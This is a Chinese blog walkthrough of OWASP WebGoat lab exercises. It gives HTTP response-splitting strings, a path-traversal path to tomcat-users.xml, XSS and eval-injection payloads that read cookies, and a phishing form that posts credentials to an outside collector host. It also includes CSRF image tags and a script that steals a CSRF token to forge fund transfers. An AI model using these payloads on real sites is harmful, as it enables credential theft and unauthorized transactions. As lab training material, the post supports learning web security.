web测试

本文详细介绍如何在WebGoat环境中实践多种Web安全漏洞,包括跨站脚本攻击(XSS)、路径遍历、AJAX安全问题等,并提供具体步骤与示例代码。
原创作品,允许转载,转载时请务必以超链接形式标明文章  原始出处 、作者信息和本声明。否则将追究法律责任。 http://shelia.blog.51cto.com/2930476/1626479

***General*************************************************************

1、Http Spliting 
    step1
        

1
cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-length:30%0a< html >Haha</ html >

    step2
    //添加Last-Modified头,设置服务器页面的过期时间,注意日期的格式。
        

1
cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aLast-Modified:%20Thu,%2001%20Jan%204099%2012:00:00%20GMT%20%20%20%0aContent-Type:%20text/html%0aContent-length:30%0a< html >Haha</ html >

        
***Access Control Flaws**************************************************

1、Bypass a Path Based Access Control Scheme
    

1
../../../../../../../etc/tomcat6/tomcat-users.xml

    当前在第几级目录,则有多少个..就可以到根目录。
    
***AJAX Security*********************************************************
1、LAB: DOM-Based cross-site scripting
    step1
        

1
< img  src = "/webgoat/images/logos/owasp.jpg" ></ img >

        submit
    step2
      

1
2
  < img  src = "/webgoat/images/logos/owasp.jpg"  onerror = "javascript:alert(/xss/)" ></ img >
                                             onmouseover......

        

1
< a  onclick = "javascript:alert(/xss/)" >haha</ a >

     onmouseover/onmouseout......
        

1
< a  onclick = "javascript:eval(document.location.href='http://www.baidu.com')" >haha</ a >

    step3
        

1
< iframe  src = "javascript:alert(/xss/)" ></ iframe >

    step4
      

1
  Please enter your password:< br >< input  type = "password"  id = "passwd" >< br >< button  onClick = "javascript:alert('I have your password: ' + pass.value);" >Submit</ button >

        可以通关,但是pass.value会报错。
    step5
        编辑/owaspbwa/WebGoat-svn/target/WebGoat-5.4+SVN/javascript/DOMXSS.js,给name添加escapeHTML函数。

1
2
3
4
  function  displayGreeting(name) {
         if  (name !=  '' ){
                 document.getElementById( "greeting" ).innerHTML= "Hello, "  + escapeHTML(name); +  "!" ;
         }

        编码后,变成
          

1
  < h1  id = "greeting" >Hello, &lt;a onclick="javascript:alert(/xss/)"&gt;haha&lt;/a&gt;</ h1 >

2、LAB: Client Side Filtering
    step1
    用webscarab抓取Ajax数据,可以发现12个员工的数据。
3、XML Injection
4、JSON Injection
    用webscarab抓取xml、JSON数据直接进行修改即可。
5、Silent Transactions Attacks
    分析script代码知Ajax调用submitData(accountNo, balance)函数转账,则可直接调用此函数进行转账。在浏览器输入:

1
javascript:submitData(666,10000)

6、Dangerous Use of Eval
  

1
  123"');alert(document.cookie); //

    alert('Whoops:You entered an incorrect access code of "123"');alert(document.cookie);//"';
7、Insecure Client Storage
    step1
        firebug调试clientSideValidation.js,在42行return caesar处设置断点,连续运行即可发现所有coupon码:
        platinum gold pressone presstuo
        输入任意一个即可通过
    step2
        用webscarab抓取Ajax返回包,修改返回值为0即可完成。
        
***Authentication Flaws*************************************************************
1、Basic Authentication
    step1
        查看请求头即可知。
    step2
        1、使用webscarab删除认证头以及cookie(必须同时删除这两个)。
        2、在返回的登录框中用basic:basic登录。
        3、删掉此时cookie的值,即返回一个全新的webgoat。
        4、选择此次课程即可通过。
2、Multi Level Login 2
    以Joe/banana登录,输入指定的Tan即可查询自己的信息。此时通过webscarab修改发送请求的hidden_user的值为Jane即可。
3、Multi Level Login 1
    同上,修改hidden_tan的值即可。
    
***Buffer Overflows********************************************************************

1、Off-by-One Overflows
    使用burpsuite注入。
    
***Code Quality*************************************************************************

1、Discover Clues in the HTML
    查看html源码,搜索<!即可发现:
    <!-- FIXME admin:adminpw  --><!-- Use Admin to regenerate database  -->
    
***Cross-Site Scripting (XSS)***********************************************************

1、Phishing with XSS
    构造form表单:
  

1
  </ form >< br >< br >< br >< hr >< form  action = "http://xx.xx.xx.xx/webgoat/Catcher"  method = "get" >< h3 >This feature requires account login:< h3 >< br >< input  type = "text"  name = "PROPERTY"  value = "yes"  hidden = "" >< br >Enter username:&nbsp;< input  type = "text"  name = "user" >< br >Enter password:&nbsp;< input  type = "password"  name = "password" >< br >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;< input  type = "submit"  value = "Login"  name = "submit" ></ form >

    通过代理可以看到确实向服务器发送了http://xx.xx.xx.xx/webgoat/Catcher?PROPERTY=yes&user=XX&password=XX&submit=Login的请求,但提示请求的内容不存在!!!!!!!
2、LAB: Cross Site Scripting
    step1
        编辑tom的profile,修改street部分为:<script>alert(/xss/)<script>,然后用Jerry登录查看tom的profile即可完成课程。//也可以修改其他字段。
    step3
3、Stored XSS Attacks
    在Message框内输入<script>alert(/xss/)</script>即可。
4、Reflected XSS Attacks
    观察发现,UpdateCart Purchase均以post提交数据,但Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回,所以可以在
    此处构造js。<script>alert(/xss/)</script>
5、Cross Site Request Forgery (CSRF)
    同Stored Xss    

1
< img  src = "http://192.168.6.134/WebGoat/attack?Screen=888&menu=900&Num=6&transferFunds=4000"  width = "1"  height = "1" >< img >

6、CSRF Prompt By-Pass
    

1
2
3
< img  src = "http://XX.XX.XX.XX/WebGoat/attack?Screen=881&menu=900&transferFunds=5000"
     onerror = "document.getElementById('imgConfirm').src='http://XX.XX.XX.XX/WebGoat/attack?Screen=881&menu=900&transferFunds=CONFIRM'"  width = "1"  height = "1"  />
< img  id = "imgConfirm"  width = "1"  height = "1"  />

7、CSRF Token By-Pass
    A、打开资金转账页面:在URL后添加transferFunds=main参数。
    B、查看页面源码,发现:<input type="hidden" value="-953910496" name="CSRFToken">
    C、构造Payload。关键是先加参数transferFunds=main打开转账页面获取该页面的CSRFToken。
    

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
< script >
     var tokenvalue;
     function readFrame1()
     {
     var frameDoc = document.getElementById("frame1").contentDocument;
     var form = frameDoc.getElementsByTagName("form")[1];
     var token = form.CSRFToken.value;
     tokenvalue = '&CSRFToken='+token;
     loadFrame2();
     }
     function loadFrame2()
     {
     var testFrame = document.getElementById("frame2");
     testFrame.src="http://xx.xx.xx.xx/WebGoat/attack?Screen=838&menu=900&transferFunds=4000"+tokenvalue;
     }
  </ script >
     < iframe  src = "http://xx.xx.xx.xx/WebGoat/attack?Screen=838&menu=900&transferFunds=main"
     onload = "readFrame1();"
     id = "frame1"  frameborder = "1"  marginwidth = "0"
     marginheight = "0"  width = "1"  scrolling = yes  height = "1" ></ iframe >
     < iframe  id = "frame2"  frameborder = "1"  marginwidth = "0"
     marginheight = "0"  width = "1"  scrolling = yes  height = "1" ></ iframe >


本文出自 “技术无巅峰” 博客,请务必保留此出处http://shelia.blog.51cto.com/2930476/1626479

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值